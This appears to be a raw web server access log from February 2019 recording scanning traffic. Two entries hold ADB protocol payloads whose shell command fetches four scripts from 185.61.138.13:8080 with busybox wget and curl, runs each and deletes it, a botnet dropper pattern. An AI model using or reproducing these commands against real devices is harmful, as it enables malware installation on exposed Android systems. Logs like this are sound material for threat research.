68.173.11.178 - - [20/Feb/2019 05:55:59] code 400, message Bad request syntax ('CNXN\x00\x00\x00\x01\x00\x10\x00\x00\x07\x00\x00\x002\x02\x00\x00\xbc\xb1\xa7\xb1host::\x00OPEN\x19\x00\x00\x00\x00\x00\x00\x00&\x01\x00\x00\xa7S\x00\x00\xb0\xaf\xba\xb1shell:cd /data/local/tmp/; busybox wget http://185.61.138.13:8080/adb -O -> adb; sh adb; rm adb; wget http://185.61.138.13:8080/adb2 -O -> adb2; sh adb2; rm adb2; busybox curl http://185.61.138.13:8080/adb3 > adb3; sh adb3; rm adb3; curl http://185.61.138.13:8080/adb4 > adb4; sh adb4; rm adb4\x00')
68.173.11.178 - - [20/Feb/2019 05:55:59] "CNXN2????host::OPEN&?S????shell:cd /data/local/tmp/; busybox wget http://185.61.138.13:8080/adb -O -> adb; sh adb; rm adb; wget http://185.61.138.13:8080/adb2 -O -> adb2; sh adb2; rm adb2; busybox curl http://185.61.138.13:8080/adb3 > adb3; sh adb3; rm adb3; curl http://185.61.138.13:8080/adb4 > adb4; sh adb4; rm adb4" 400 -
82.102.99.35 - - [20/Feb/2019 06:18:47] code 400, message Bad request syntax ('CNXN\x00\x00\x00\x01\x00\x10\x00\x00\x07\x00\x00\x002\x02\x00\x00\xbc\xb1\xa7\xb1host::\x00OPEN\x19\x00\x00\x00\x00\x00\x00\x00&\x01\x00\x00\xa7S\x00\x00\xb0\xaf\xba\xb1shell:cd /data/local/tmp/; busybox wget http://185.61.138.13:8080/adb -O -> adb; sh adb; rm adb; wget http://185.61.138.13:8080/adb2 -O -> adb2; sh adb2; rm adb2; busybox curl http://185.61.138.13:8080/adb3 > adb3; sh adb3; rm adb3; curl http://185.61.138.13:8080/adb4 > adb4; sh adb4; rm adb4\x00')
82.102.99.35 - - [20/Feb/2019 06:18:47] "CNXN2????host::OPEN&?S????shell:cd /data/local/tmp/; busybox wget http://185.61.138.13:8080/adb -O -> adb; sh adb; rm adb; wget http://185.61.138.13:8080/adb2 -O -> adb2; sh adb2; rm adb2; busybox curl http://185.61.138.13:8080/adb3 > adb3; sh adb3; rm adb3; curl http://185.61.138.13:8080/adb4 > adb4; sh adb4; rm adb4" 400 -
188.158.203.97 - - [20/Feb/2019 12:32:27] code 501, message Unsupported method ('POST')